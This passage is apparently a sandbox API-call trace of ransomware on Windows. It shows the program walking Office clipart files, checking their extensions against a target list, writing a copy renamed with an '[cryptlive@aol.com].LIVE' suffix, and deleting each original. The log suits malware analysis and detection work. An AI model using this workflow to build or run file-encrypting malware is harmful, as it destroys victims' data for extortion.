lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0148.140] lstrlenW (lpString=".jpg") returned 4 [0148.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.140] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.140] lstrlenW (lpString="J0098497.WMF") returned 12 [0148.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.213] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4970) returned 1 [0148.213] CloseHandle (hObject=0x1f8) returned 1 [0148.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0148.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.215] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.215] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0148.216] GetLastError () returned 0x0 [0148.216] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x136a, lpOverlapped=0x0) returned 1 [0148.218] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0148.219] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.219] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.219] SetEndOfFile (hFile=0x3b8) returned 1 [0148.220] CloseHandle (hObject=0x3b8) returned 1 [0148.220] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.220] SetEndOfFile (hFile=0x1f8) returned 1 [0148.222] CloseHandle (hObject=0x1f8) returned 1 [0148.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0148.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString=".doc") returned 4 [0148.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString=".docx") returned 5 [0148.224] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.224] lstrlenW (lpString=".pdf") returned 4 [0148.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString=".xls") returned 4 [0148.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.224] lstrlenW (lpString=".xlsx") returned 5 [0148.224] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.224] lstrlenW (lpString=".ppt") returned 4 [0148.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString=".zip") returned 4 [0148.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.224] lstrlenW (lpString=".rar") returned 4 [0148.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString=".bz2") returned 4 [0148.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString=".7z") returned 3 [0148.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString=".dbf") returned 4 [0148.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString=".1cd") returned 4 [0148.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString=".jpg") returned 4 [0148.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.224] lstrlenW (lpString=".doc") returned 4 [0148.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.225] lstrlenW (lpString=".docx") returned 5 [0148.225] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.225] lstrlenW (lpString=".pdf") returned 4 [0148.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.225] lstrlenW (lpString=".xls") returned 4 [0148.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.225] lstrlenW (lpString=".xlsx") returned 5 [0148.225] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.225] lstrlenW (lpString=".ppt") returned 4 [0148.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.225] lstrlenW (lpString=".zip") returned 4 [0148.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.225] lstrlenW (lpString=".rar") returned 4 [0148.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.225] lstrlenW (lpString=".bz2") returned 4 [0148.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.225] lstrlenW (lpString=".7z") returned 3 [0148.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.225] lstrlenW (lpString=".dbf") returned 4 [0148.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.225] lstrlenW (lpString=".1cd") returned 4 [0148.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0148.225] lstrlenW (lpString=".jpg") returned 4 [0148.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.225] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.225] lstrlenW (lpString="J0099145.JPG") returned 12 [0148.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.226] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=24759) returned 1 [0148.226] CloseHandle (hObject=0x1f8) returned 1 [0148.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0148.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.227] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.227] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0148.227] GetLastError () returned 0x0 [0148.227] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x60b7, lpOverlapped=0x0) returned 1 [0148.229] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x60c0, lpOverlapped=0x0) returned 1 [0148.231] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.231] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.231] SetEndOfFile (hFile=0x3b8) returned 1 [0148.231] CloseHandle (hObject=0x3b8) returned 1 [0148.231] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.231] SetEndOfFile (hFile=0x1f8) returned 1 [0148.233] CloseHandle (hObject=0x1f8) returned 1 [0148.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0148.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.235] lstrlenW (lpString=".doc") returned 4 [0148.235] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.235] lstrlenW (lpString=".docx") returned 5 [0148.235] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.235] lstrlenW (lpString=".pdf") returned 4 [0148.235] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.235] lstrlenW (lpString=".xls") returned 4 [0148.235] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.235] lstrlenW (lpString=".xlsx") returned 5 [0148.235] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.235] lstrlenW (lpString=".ppt") returned 4 [0148.235] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.235] lstrlenW (lpString=".zip") returned 4 [0148.235] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.235] lstrlenW (lpString=".rar") returned 4 [0148.235] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.235] lstrlenW (lpString=".bz2") returned 4 [0148.235] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.235] lstrlenW (lpString=".7z") returned 3 [0148.235] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.235] lstrlenW (lpString=".dbf") returned 4 [0148.235] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.235] lstrlenW (lpString=".1cd") returned 4 [0148.235] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.235] lstrlenW (lpString=".jpg") returned 4 [0148.235] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.235] lstrlenW (lpString=".doc") returned 4 [0148.235] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.235] lstrlenW (lpString=".docx") returned 5 [0148.235] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.236] lstrlenW (lpString=".pdf") returned 4 [0148.236] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.236] lstrlenW (lpString=".xls") returned 4 [0148.236] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.236] lstrlenW (lpString=".xlsx") returned 5 [0148.236] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.236] lstrlenW (lpString=".ppt") returned 4 [0148.236] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.236] lstrlenW (lpString=".zip") returned 4 [0148.236] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.236] lstrlenW (lpString=".rar") returned 4 [0148.236] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.236] lstrlenW (lpString=".bz2") returned 4 [0148.236] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.236] lstrlenW (lpString=".7z") returned 3 [0148.236] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.236] lstrlenW (lpString=".dbf") returned 4 [0148.236] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.236] lstrlenW (lpString=".1cd") returned 4 [0148.236] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0148.236] lstrlenW (lpString=".jpg") returned 4 [0148.236] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.236] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.236] lstrlenW (lpString="J0099146.WMF") returned 12 [0148.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.237] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16596) returned 1 [0148.237] CloseHandle (hObject=0x1f8) returned 1 [0148.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0148.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.237] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.237] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0148.238] GetLastError () returned 0x0 [0148.238] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x40d4, lpOverlapped=0x0) returned 1 [0148.240] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x40e0, lpOverlapped=0x0) returned 1 [0148.241] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.241] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.241] SetEndOfFile (hFile=0x3b8) returned 1 [0148.242] CloseHandle (hObject=0x3b8) returned 1 [0148.242] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.242] SetEndOfFile (hFile=0x1f8) returned 1 [0148.244] CloseHandle (hObject=0x1f8) returned 1 [0148.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0148.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.245] lstrlenW (lpString=".doc") returned 4 [0148.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.245] lstrlenW (lpString=".docx") returned 5 [0148.245] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0148.245] lstrlenW (lpString=".pdf") returned 4 [0148.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.245] lstrlenW (lpString=".xls") returned 4 [0148.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.245] lstrlenW (lpString=".xlsx") returned 5 [0148.245] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0148.245] lstrlenW (lpString=".ppt") returned 4 [0148.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.246] lstrlenW (lpString=".zip") returned 4 [0148.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.246] lstrlenW (lpString=".rar") returned 4 [0148.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString=".bz2") returned 4 [0148.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString=".7z") returned 3 [0148.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.246] lstrlenW (lpString=".dbf") returned 4 [0148.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.246] lstrlenW (lpString=".1cd") returned 4 [0148.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.246] lstrlenW (lpString=".jpg") returned 4 [0148.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.246] lstrlenW (lpString=".doc") returned 4 [0148.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString=".docx") returned 5 [0148.246] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0148.246] lstrlenW (lpString=".pdf") returned 4 [0148.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString=".xls") returned 4 [0148.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.246] lstrlenW (lpString=".xlsx") returned 5 [0148.246] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0148.246] lstrlenW (lpString=".ppt") returned 4 [0148.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.246] lstrlenW (lpString=".zip") returned 4 [0148.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.247] lstrlenW (lpString=".rar") returned 4 [0148.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.247] lstrlenW (lpString=".bz2") returned 4 [0148.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.247] lstrlenW (lpString=".7z") returned 3 [0148.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.247] lstrlenW (lpString=".dbf") returned 4 [0148.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.247] lstrlenW (lpString=".1cd") returned 4 [0148.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0148.247] lstrlenW (lpString=".jpg") returned 4 [0148.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.247] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.247] lstrlenW (lpString="J0099147.JPG") returned 12 [0148.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 